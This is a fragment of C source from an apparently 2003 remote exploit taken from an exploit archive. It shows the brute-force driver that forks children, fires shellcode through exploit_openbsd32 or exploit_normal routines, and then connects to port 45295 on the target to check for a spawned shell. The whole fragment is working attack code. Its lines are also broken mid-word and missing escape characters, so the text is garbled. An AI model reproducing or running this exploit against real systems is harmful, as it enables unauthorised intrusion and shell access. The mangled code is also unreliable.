if (start_session(sock) < 0) {
if (verbose == 1) fprintf(stder
r, "+ Session failed.n");
if (sock > 2)close(sock);
if (sock2 > 2) close(sock2);
exit(-1);
}
if (brute == 3) {
if (exploit_openbsd32(sock, ret
, shellcode) < 0) {
if (verbose == 1) fprin
tf(stderr, "+ Failed.n");
if (sock > 2) close(so
ck);
if (sock2 > 2) close(so
ck2);
exit(-1);
}
}
else {
if (exploit_normal(sock, ret, shellcode
) < 0) {
if (verbose == 1) fprintf(stder
r, "+ Failed.n");
if (sock > 2) close(sock);
if (sock2 > 2) close(sock2);
exit(-1);
}
if (sock > 2) close(sock);
if ((sock2 = socket(AF_INET, SOCK_STREA
M, 6)) < 0) {
if (sock2 > 2) close(sock2);
exit(-1);
}
if(Connect(sock2, (char *)inet_ntoa(add
r1.sin_addr), 45295, 2) != -1) {
if (sock2 > 2) close(sock2);
kill(getppid(), SIGUSR1);
}
exit(1);
}
exit(0);
break;
case -1:
fprintf(stderr, "+ fork() errorn");
exit(-1);
break;
default:
if (i > MAX_CHILDS - 2) {
wait(&status);
i--;
}
break;
}
}
}
return 0;
}
// www.Syue.com [2003-04-10]